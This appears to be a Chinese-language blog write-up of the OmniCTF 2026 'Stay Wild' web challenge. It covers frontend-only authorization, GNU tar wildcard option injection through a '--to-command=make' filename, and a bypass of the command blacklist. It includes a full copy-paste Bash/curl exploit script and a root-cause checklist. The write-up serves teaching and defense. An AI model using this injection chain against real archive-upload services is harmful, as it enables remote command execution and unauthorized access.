> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Stay Wild — OmniCTF 2026：從前端假限制到 GNU tar Wildcard Injection
- URL: https://taiwanding.com/stay-wild-omnictf-2026-cong-qian-duan-jia-xian-zhi-dao-gnu-tar-wildcard-injection/
- Published: 2026-07-20T07:24:11.000Z
- Updated: 2026-07-20T07:30:20.000Z
- Author: Kevin Chen
- Tags: #omnictf, CTF

這題的樂趣在於它把好幾個「看起來各自無害」的疏忽疊在一起：一個沒有後端授權的隱藏端點、一段把使用者檔名交給 Shell `*` 展開的 `tar` 指令、以及一個刻意保留 `--` 開頭檔名的伺服器邏輯，串起來就是一條穩定的 RCE，以下完整拆解。

## 找到隱藏入口

首頁看起來只是一個普通的 Wildlife Archive。

`robots.txt` 沒有直接列出隱藏路徑，只留下一句提示：

```text
Field archive tooling is not ready for public indexing.

```

`style.css` 後半段還出現首頁完全沒用到的樣式：

```css
/* EXTRACT FIRST-UPLOAD PAGE */
.archive-form { ... }
.extract-panel { ... }

```

最後找到沒有出現在導覽列中的入口：

```text
/staging

```

這裡的「隱藏服務」不是 Tor Hidden Service，只是一個沒有公開連結的 Staging Endpoint。

## Staging 的處理流程

| 步驟     | Endpoint                   | 功能                   |
| ------ | -------------------------- | -------------------- |
| 第一次上傳  | POST /staging              | 上傳 .tar，建立 Workspace |
| 查看結果   | GET /staging/:id           | 顯示解壓日誌與檔案            |
| 追加資料   | POST /additional/:id       | 將其他檔案放入同一個 Workspace |
| 清除追加資料 | POST /clear-additional/:id | 保留初始 Tar，移除追加檔案      |

第一次上傳完成後，伺服器會導向：

```text
/staging/1784378248308

```

Workspace ID 其實就是：

```javascript
Date.now().toString()

```

## 第一個問題：只有前端限制

結果頁面的 Additional Upload 被設成 `disabled`，旁邊還寫著：

```javascript
// Only for admins

```

但啟用功能的程式只是：

```javascript
window.enableExperimentalIntake = function () {
  document.querySelectorAll("[data-beta-upload]").forEach((el) => {
    el.removeAttribute("disabled");
  });
};

```

這只是瀏覽器介面限制，後端完全沒有檢查 Admin 身分。

因此不需要修改 Cookie，也不需要在 Console 執行 JavaScript，直接送出：

```http
POST /additional/:id

```

就能使用這個功能。

## GNU tar Wildcard Injection

### 正常寫法

```bash
tar -xvf archive.tar

```

只解開指定的 Archive。

### 題目的寫法

伺服器實際執行：

```javascript
runWithPty(
  "tar -xvf " + shellQuote(archiveName) + " *",
  cwd,
  ...
);

```

也就是：

```bash
tar -xvf "seed.tar" *

```

危險的地方是最後沒有加引號的 `*`。

Shell 會先把 Wildcard 展開成 Workspace 裡的所有非隱藏檔案：

```text
tar -xvf seed.tar Makefile seed.tar extra.tar

```

如果其中一個檔名以 `--` 開頭：

```text
--to-command=make

```

展開結果就變成：

```text
tar -xvf seed.tar --to-command=make Makefile seed.tar

```

GNU tar 會把這個檔名當成命令列參數，而不是普通檔案。

這就是 GNU tar Wildcard Option Injection。

## 為什麼惡意檔名會被保留？

伺服器原始碼甚至特別保留 `--` 開頭的名稱：

```javascript
function shouldKeepExactName(name) {
  // Payload filenames must remain exact for the intended tar option injection.
  return name.startsWith("--");
}

```

一般檔案遇到重名時會被重新命名，但 `--to-command=make` 會原封不動留在 Workspace。

## 先用 id 確認命令執行

Additional Upload 只檢查 MIME 是否為：

```text
application/x-tar

```

它沒有要求追加檔名必須以 `.tar` 結尾。

因此可以把合法 Tar 的 Multipart Filename 改成：

```text
--to-command=id

```

Extraction Log 成功回傳：

```text
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)

```

這證明我們已經取得有回顯的命令執行。

## 黑名單與 make 繞過

題目知道 `--to-command` 很危險，因此對 Additional Filename 做了很長的字串黑名單。

其中包含：

```text
cat, sh, bash, python, perl, node, php
curl, wget, base64, grep, sed, awk
find, xargs, env, dd, tee
flag, seed, paw, opt, wild, cache

```

所以下面這些名稱都會被擋住：

```text
--to-command=sh
--to-command=node
--to-command=xargs

```

但是黑名單漏掉了：

```text
make

```

真正的根本問題不是單純「漏封 make」，而是伺服器把攻擊者控制的檔名交給 Shell Wildcard，再交給 GNU tar 當參數。

黑名單只是在這個根本漏洞上加了一層很容易繞過的過濾。

## 使用 Makefile 讀取 Seed

每個 Workspace 建立時，伺服器都會建立幾個內部 Symlink。

其中最重要的是：

```text
.paw → /opt/wild/.cache/seed-574

```

Seed 檔案中放的是經過 Base64 編碼的 Flag。

第一次上傳的 `seed.tar` 只需要放入一個普通的 `Makefile`：

```makefile
all:
	@cat .paw

```

第二次上傳時，把 Multipart Filename 指定為：

```text
--to-command=make

```

`--to-command=make` 的流程是：

```text
GNU tar 解出 Regular File
        ↓
執行 make
        ↓
make 的工作目錄正是 Workspace
        ↓
make 自動尋找 Makefile
        ↓
執行預設 all Target
        ↓
cat .paw

```

注意，不是 Tar 直接執行 Makefile，也不是 Make 將 stdin 當成 Shell Script。

Tar 啟動 `make`，而 `make` 再從目前目錄讀取先前已經解開的 `Makefile`。

## 完整 PoC

下面整段可以直接貼進 Bash 執行。

如果 Instance 網址改變，可以先設定：

```bash
export STAYWILD_BASE='https://新的網址'

```

再執行 PoC。

```bash
bash <<'BASH'
set -Eeuo pipefail

BASE="${STAYWILD_BASE:-https://staywild-e11c10cbe476.inst.omnictf.com}"
BASE="${BASE%/}"

for bin in curl tar base64 grep awk mktemp head rm; do
    if ! command -v "$bin" >/dev/null 2>&1; then
        echo "[-] Missing command: $bin" >&2
        exit 1
    fi
done

TMP="$(mktemp -d -t staywild.XXXXXX)"

cleanup() {
    case "${TMP:-}" in
        /tmp/staywild.*)
            rm -rf -- "$TMP"
            ;;
    esac
}
trap cleanup EXIT

# Makefile 的 Recipe 前方必須是真正的 Tab。
# 使用 printf 的 \t，避免複製時被轉成空格。
printf 'all:\n\t@cat .paw\n' > "$TMP/Makefile"

# 初始 Tar 只包含一個安全的 Makefile。
tar -cf "$TMP/seed.tar" \
    -C "$TMP" Makefile

echo "[*] Creating staging workspace..."

STAGING_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -D "$TMP/staging.headers" \
        -o "$TMP/staging.body" \
        -c "$TMP/cookies.txt" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=seed.tar;type=application/x-tar" \
        "$BASE/staging"
)"

LOCATION="$(
    awk '
        tolower($1) == "location:" {
            gsub(/\r/, "", $2)
            location = $2
        }
        END {
            print location
        }
    ' "$TMP/staging.headers"
)"

if [[ -z "$LOCATION" ]]; then
    echo "[-] Server did not return a Workspace Location."
    echo "[-] HTTP status: $STAGING_CODE"
    echo
    head -c 2000 "$TMP/staging.body"
    echo
    exit 1
fi

LOCATION_PATH="${LOCATION%%\?*}"
LOCATION_PATH="${LOCATION_PATH%%\#*}"
LOCATION_PATH="${LOCATION_PATH%/}"
WORKSPACE_ID="${LOCATION_PATH##*/}"

if [[ ! "$WORKSPACE_ID" =~ ^[A-Za-z0-9_-]+$ ]]; then
    echo "[-] Unexpected Workspace ID: $WORKSPACE_ID" >&2
    exit 1
fi

echo "[+] Workspace ID: $WORKSPACE_ID"
echo "[*] Triggering GNU tar option injection..."

# 上傳內容仍是合法 Tar，但 Multipart Filename 變成 GNU tar Option。
# 同一份 seed.tar 可以直接重複使用。
ADDITIONAL_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -b "$TMP/cookies.txt" \
        -c "$TMP/cookies.txt" \
        -o "$TMP/additional.body" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=--to-command=make;type=application/x-tar" \
        "$BASE/additional/$WORKSPACE_ID"
)"

# omniCTF 開頭經 Base64 編碼後會以 b21uaUNURn 開頭。
ENCODED="$(
    grep -oE 'b21uaUNURn[A-Za-z0-9+/]*={0,2}' \
        "$TMP/additional.body" |
        head -n 1 ||
        true
)"

if [[ -z "$ENCODED" ]]; then
    echo "[-] Base64 seed was not found."
    echo "[-] Additional-upload HTTP status: $ADDITIONAL_CODE"
    echo
    echo "----- Server response -----"
    head -c 3000 "$TMP/additional.body"
    echo
    exit 1
fi

DECODED="$(
    printf '%s' "$ENCODED" |
        base64 -d 2>/dev/null ||
        true
)"

FLAG="$(
    printf '%s' "$DECODED" |
        grep -oE 'omniCTF\{[^}]+\}' |
        head -n 1 ||
        true
)"

if [[ -z "$FLAG" ]]; then
    echo "[-] Seed was found but did not decode into the expected Flag."
    echo "[*] Encoded seed: $ENCODED"
    echo "[*] Decoded value: $DECODED"
    exit 1
fi

echo
echo "[+] Encoded seed: $ENCODED"
echo "[+] FLAG: $FLAG"
BASH

```

## 執行結果

```text
[*] Creating staging workspace...
[+] Workspace ID: 1784378248308
[*] Triggering GNU tar option injection...

[+] Encoded seed: b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==
[+] FLAG: omniCTF{Redacted}

```

## 完整攻擊流程

```text
找到未連結的 /staging
        ↓
上傳含 Makefile 的 seed.tar
        ↓
取得可預測的 Workspace ID
        ↓
直接呼叫沒有後端權限驗證的 /additional/:id
        ↓
將 Multipart Filename 設成 --to-command=make
        ↓
Shell 將 * 展開成惡意 Tar Option
        ↓
GNU tar 啟動 make
        ↓
make 執行 Makefile：cat .paw
        ↓
取得 Base64 Seed
        ↓
Base64 Decode
        ↓
取得 Flag

```

## 漏洞在哪裡？

### 1\. 前端權限控制

```text
disabled Button ≠ 後端授權

```

Additional Endpoint 沒有驗證使用者角色，也沒有驗證 Workspace 所有權。

### 2\. Shell Wildcard Option Injection

```bash
tar -xvf "archive.tar" *

```

攻擊者控制的檔名經由 `*` 進入 GNU tar 參數。

### 3\. 保留 Option-style Filename

```javascript
name.startsWith("--")

```

伺服器刻意保留最危險的檔名格式。

### 4\. 黑名單防禦

封鎖大量命令仍無法列舉所有可利用的程式，`make` 就成為繞過方式。

### 5\. 可預測 ID 與 IDOR

```javascript
Date.now().toString()

```

`GET /staging/:id`、Additional 與 Clear Endpoint 都沒有 Owner 驗證。

這不是主 Exploit 必須依賴的步驟，但會讓其他人的 Workspace 與日誌面臨未授權存取。

## 實戰檢查清單

遇到 Archive Upload 題目時，可以檢查：

1. 後端是否透過 Shell 呼叫 `tar`、`zip` 或 `unzip`？
2. 指令中是否使用未加引號的 `*`？
3. 上傳檔名能否以 `-` 或 `--` 開頭？
4. 伺服器是否保留使用者提供的原始檔名？
5. Tar Member 與 Multipart Filename 是否使用不同驗證規則？
6. 前端 Disabled 功能是否缺少後端授權？
7. Workspace ID 是否可預測且沒有 Owner 驗證？
8. 黑名單是否能用其他 Interpreter、Build Tool 或系統程式繞過？